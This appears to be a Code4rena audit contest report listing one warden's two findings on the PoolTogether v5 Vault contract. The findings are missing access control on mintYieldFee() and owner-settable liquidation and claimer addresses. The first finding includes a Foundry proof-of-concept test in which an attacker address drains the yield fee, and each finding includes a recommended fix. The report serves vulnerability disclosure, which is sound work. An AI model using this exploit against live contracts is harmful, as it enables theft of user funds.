Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 69/111
Findings: 2
Award: $25.21
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Udsen
Also found by: 0xMirce, 0xPsuedoPandit, 0xStalin, 0xbepresent, Aymen0909, Bobface, Co0nan, GREY-HAWK-REACH, Jeiwan, John, KupiaSec, LuchoLeonel1, Nyx, Praise, RedTiger, alexweb3, bin2chen, btk, dacian, dirk_y, josephdara, keccak123, ktg, mahdirostami, markus_ether, minhtrng, ni8mare, peanuts, ptsanev, ravikiranweb3, rvierdiiev, seeques, serial-coder, shaka, teawaterwire, wangxx2026, zzzitron
2.2492 USDC - $2.25
The current implementation of the Vault
allows anyone to call the mintYieldFee()
function, hence direct loss of funds. Furthermore, if the vault becomes undercollateralized, there will be no yield left to collateralize it.
The _yieldFeeTotalSupply
variable represents the total accrued supply from the yield fee, which serves the purpose of collateralizing the vault if it becomes undercollateralized.
The _yieldFeeRecipient
variable holds the address of the yield fee recipient who receives the fee amount when yield is captured.
_yieldFeeRecipient
can withdraw their yield fee through the mintYieldFee()
function, and this function is callable by anyone. Here is the current implementation:
function mintYieldFee(uint256 _shares, address _recipient) external { _requireVaultCollateralized(); if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply); _yieldFeeTotalSupply -= _shares; _mint(_recipient, _shares); emit MintYieldFee(msg.sender, _recipient, _shares); }
As a result, anyone can mint the yield fee, and when the vault becomes undercollateralized, there will be no yield left to collateralize it.
Here is a coded POC to demonstrate the issue:
function testMintingYieldFee() external { _setLiquidationPair(); vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE); uint256 _amount = 1000e18; // The address of the attacker address blackhat = makeAddr("blackhat"); underlyingAsset.mint(address(this), _amount); _sponsor(underlyingAsset, vault, _amount, address(this)); uint256 _yield = 10e18; _accrueYield(underlyingAsset, yieldVault, _yield); vm.startPrank(alice); prizeToken.mint(alice, 1000e18); uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault)); (uint256 _alicePrizeTokenBalanceBefore, uint256 _prizeTokenContributed) = _liquidate( liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice ); assertEq(prizeToken.balanceOf(address(prizePool)), _prizeTokenContributed); assertEq(prizeToken.balanceOf(alice), _alicePrizeTokenBalanceBefore - _prizeTokenContributed); uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE); assertEq(vault.balanceOf(alice), _liquidatedYield); assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares); assertEq(_yield, _liquidatedYield + _yieldFeeShares); assertEq(vault.liquidatableBalanceOf(address(vault)), 0); assertEq(vault.availableYieldBalance(), 0); assertEq(vault.availableYieldFeeBalance(), 0); vm.stopPrank(); vm.startPrank(blackhat); vault.mintYieldFee(_yieldFeeShares, blackhat); assertEq(vault.yieldFeeTotalSupply(), 0); // The attacker stole all the yield from the vault successfully assertEq(vault.balanceOf(blackhat), _yieldFeeShares); vm.stopPrank(); }
Test result: ok. 1 passed; 0 failed; finished in 7.89ms
VaultLiquidateTest.sol
cd vault
forge test --match-contract VaultLiquidateTest --match-test testMintingYieldFee -vvvv
Manual Review
We recommend adjusting the function to:
function mintYieldFee(uint256 _shares, address _recipient) external { require(msg.sender == _yieldFeeRecipient, "Only fee recipient can call this"); _requireVaultCollateralized(); if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply); _yieldFeeTotalSupply -= _shares; _mint(_recipient, _shares); emit MintYieldFee(msg.sender, _recipient, _shares); }
Access Control
#0 - c4-judge
2023-07-14T23:02:23Z
Picodes marked the issue as duplicate of #396
#1 - c4-judge
2023-08-05T22:04:53Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Jeiwan
Also found by: 0xSmartContract, 0xStalin, 3docSec, ABAIKUNANBAEV, btk, dev0cloo, dirk_y, grearlake, jaraxxus, keccak123, neumo, oxchsyston, rvierdiiev
22.9603 USDC - $22.96
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L641-L647 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L665-L683
Vault owners possess the privilege to abuse the system, which can be exploited to cause harm to users.
... If we identify ways that vault owners can abuse their privilege and cause harm to the users, is this something you are interested in?
... I encourage you to think outside the box; put that adversarial hat on and see how you can find a way in.
As per of the Loom Video both LiquidationPair
and Claimer
are:
Thus, it is unnecessary to include a privileged function to set them, because if the owner was malicious, he can change the addresses to arbitrary values and thereby blocking user access to the liquidate()
function:
function setLiquidationPair( LiquidationPair liquidationPair_ ) external onlyOwner returns (address) { if (address(liquidationPair_) == address(0)) revert LPZeroAddress(); IERC20 _asset = IERC20(asset()); address _previousLiquidationPair = address(_liquidationPair); if (_previousLiquidationPair != address(0)) { _asset.safeApprove(_previousLiquidationPair, 0); } _asset.safeApprove(address(liquidationPair_), type(uint256).max); _liquidationPair = liquidationPair_; emit LiquidationPairSet(liquidationPair_); return address(liquidationPair_); }
and the Claimer.sol
contract from calling ClaimPrizes
:
function setClaimer(address claimer_) external onlyOwner returns (address) { address _previousClaimer = _claimer; _setClaimer(claimer_); emit ClaimerSet(_previousClaimer, claimer_); return claimer_; }
Manual Review
We recommend removing setClaimer
and setLiquidationPair
and initialize both Claimer
and LiquidationPair
in the constructor()
.
DoS
#0 - c4-judge
2023-07-18T15:51:28Z
Picodes marked the issue as duplicate of #324
#1 - c4-judge
2023-08-06T10:46:28Z
Picodes marked the issue as satisfactory